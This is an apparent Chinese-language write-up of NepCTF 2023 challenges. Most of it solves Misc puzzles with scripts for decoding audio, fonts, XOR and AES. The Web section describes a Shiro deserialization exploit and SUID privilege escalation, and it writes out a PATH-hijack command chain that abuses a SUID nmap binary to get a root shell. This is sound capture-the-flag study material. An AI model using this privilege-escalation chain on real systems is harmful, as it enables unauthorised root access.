Misc

codes

抄https://blog.csdn.net/aspnet_lyc/article/details/20548767

复制代码
  1. #include <stdio.h>
  2. int main(int argc, char** argv, char** arge)
  3. {
  4. while(*arge)
  5. {
  6. printf("%s\n", *arge++);
  7. }
  8. return 0;
  9. }

与AI共舞的哈夫曼

copilot秒了

ConnectedFive

万宁五子棋,手动下了一会感觉手动也行,但是还是写个脚本,由于没有什么规律,直接random下棋了,乐

复制代码
  1. from pwn import *
  2. import random
  3. r = remote('nepctf.1cepeak.cn', 31762)
  4. def getboard():
  5. board = []
  6. for i in range(15):
  7. data = r.recvline().decode()[3:].replace('[', ' ').replace(']', ' ').strip()
  8. data = data.split(' ')
  9. board.append(data)
  10. return board
  11. table = 'abcdefghijklmno'
  12. while True:
  13. r.recvline()
  14. r.recvline()
  15. r.recvline()
  16. r.recvline()
  17. res = r.recvline().decode()
  18. if(int(res.split(':')[0]) >= 38):
  19. r.interactive()
  20. print(res)
  21. r.recvline()
  22. r.recvline()
  23. board = getboard()
  24. random_x = random.randint(0, 14)
  25. random_y = random.randint(0, 14)
  26. while board[random_y][random_x] != '.':
  27. random_x = random.randint(0, 14)
  28. random_y = random.randint(0, 14)
  29. pos = table[random_x] + table[random_y]
  30. r.recvline()
  31. r.sendline(pos)
  32. r.recvline()

跑了很多次发现打赢概率挺高,就是跑的过程中容易开头就卡死,懒得优化了,开头不卡死后面基本没问题

陌生的语言

直接照着抄

https://ay.medyotan.ga/upload/lwa_moonrunes.png

https://fonts2u.com/dinotopian.font

复制代码
  1. NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}

小叮弹钢琴

audacity打开然后缩小横着看

前面是莫斯后面是16进制

复制代码
  1. 前:youshouldusethistoxorsomething
  2. 后:0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17

直接xor

你也喜欢三月七么

题目描述比较重要

复制代码
  1. 三月七:耶,终于来到Nepnep星球啦,让我看看正在火热进行的Hacker夺旗大赛群聊。啊!开拓者,这群名看起来怪怪的诶。 (伸出脑袋,凑近群名,轻轻的闻了一下)哇,好咸诶,开拓者你快来看看!
  2. 开拓者(U_id):(端着下巴,磨蹭了一下,眼神若有所思)这好像需要经过啥256处理一下才能得到我们需要的关键。

得到两个消息,一是群名是salt,二是群名sha256之后就是key

就可以还原所有参数(key取sha256之后前16位

复制代码
  1. salt = NepCTF2023
  2. key = dd8e671df3882c5be6423cd030bd7cb6
  3. iv= 88219bdee9c396eca3c637c0ea436058
  4. ciphertext= b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc

直接解密

图片里面就是星铁的文字,直接照着抄就行了

复制代码
  1. NepCTF{HRP_always_likes_March_7th}

lic

拖进audacity放大简单观察一手,发现大概有这三种序列分别是长度为57的、长度为22的和长度为44的

其中57的只在开头出现另外两种随机出现

小溜一手gpt

复制代码
  1. import wave
  2. import numpy as np
  3. def demodulate_pcm(filename):
  4. # 打开WAV文件
  5. with wave.open(filename, 'rb') as wav_file:
  6. # 获取音频参数
  7. channels = wav_file.getnchannels()
  8. sample_width = wav_file.getsampwidth()
  9. sample_rate = wav_file.getframerate()
  10. num_frames = wav_file.getnframes()
  11. # 读取音频数据
  12. audio_data = wav_file.readframes(num_frames)
  13. # 将二进制数据转换为numpy数组
  14. audio_np = np.frombuffer(audio_data, dtype=np.int16)
  15. # 解调PCM数据
  16. demodulated_data = audio_np.flatten()
  17. # 缩放解调数据
  18. demodulated_data = demodulated_data / (2 ** (sample_width * 8 - 1))
  19. return demodulated_data, sample_rate
  20. filename = 'lic.wav' # 替换为您的WAV文件路径
  21. demodulated_data, sample_rate = demodulate_pcm(filename)
  22. for i in demodulated_data:
  23. print(round(i),end='')

简单手动处理一下,把-1换2

然后把很多个0换成1个0,并且以这个0为界限分出前后两部分

然后对前一部分进行手动替换

复制代码
  1. 222222222222222222222222222211111111111111111111111111111 --> 6
  2. 22222222222222222222221111111111111111111111 --> 0
  3. 222222222211111111111 --> 3
  4. 3 --> 1
  5. 然后手动把多余的2去了

然后16个一组画图,这时候画出来的图有一定的偏移,开头再添加5个6画的就很好了

复制代码
  1. f = open('3.txt').read()
  2. for i in range(0, len(f), 16):
  3. print(f[i:i+16][::-1])

大概这样

Ez_BASIC_II

在线工具直接转换

https://www.my-trs-80.com/cassette/

拿到BASIC程序

手动提取出所有数字

然后放进cyberchef

这时候就比较明显了

直接从里面复制出来再提纯

复制代码
  1. res = '''
  2. .........
  3. ... °°...
  4. ..º...½..
  5. ..¿......
  6. ..«´°°...
  7. .........
  8. .........
  9. .. .°°...
  10. ..ª...½..
  11. ..ª...¿..
  12. ..ªµ°¸...
  13. ..ª......
  14. ....°°...
  15. ..¨......
  16. ..¿......
  17. ..¿......
  18. ...½°°¸..
  19. .........
  20. ..°°°°°..
  21. ....¿....
  22. ....¿....
  23. ....¿....
  24. .........
  25. '''
  26. res = res.split('\n')
  27. for i in res:
  28. for j in range(len(i)):
  29. if(i[j] != '.'):
  30. print('A',end='')
  31. continue
  32. print(' ',end='')
  33. print()

就稍微清楚一点了

CheckIn

直接交

问卷

直接填

Web

ez_java_checkin

抓包发现rememberme=deleteme,搜到是shiro的反序列化

工具直接打

拿到shell发现find有suid权限,直接提

独步天下-转生成为镜花水月中的王者

提示说是环境变量提权,同时可以搜到nmap有suid权限并且似乎会调用ports-alive这个东西

直接一套小连招提权

复制代码
  1. echo "/bin/busybox sh" > /tmp/ports-alive
  2. chmod 777 /tmp/ports-alive
  3. export PATH=/tmp
  4. /bin/nmap 123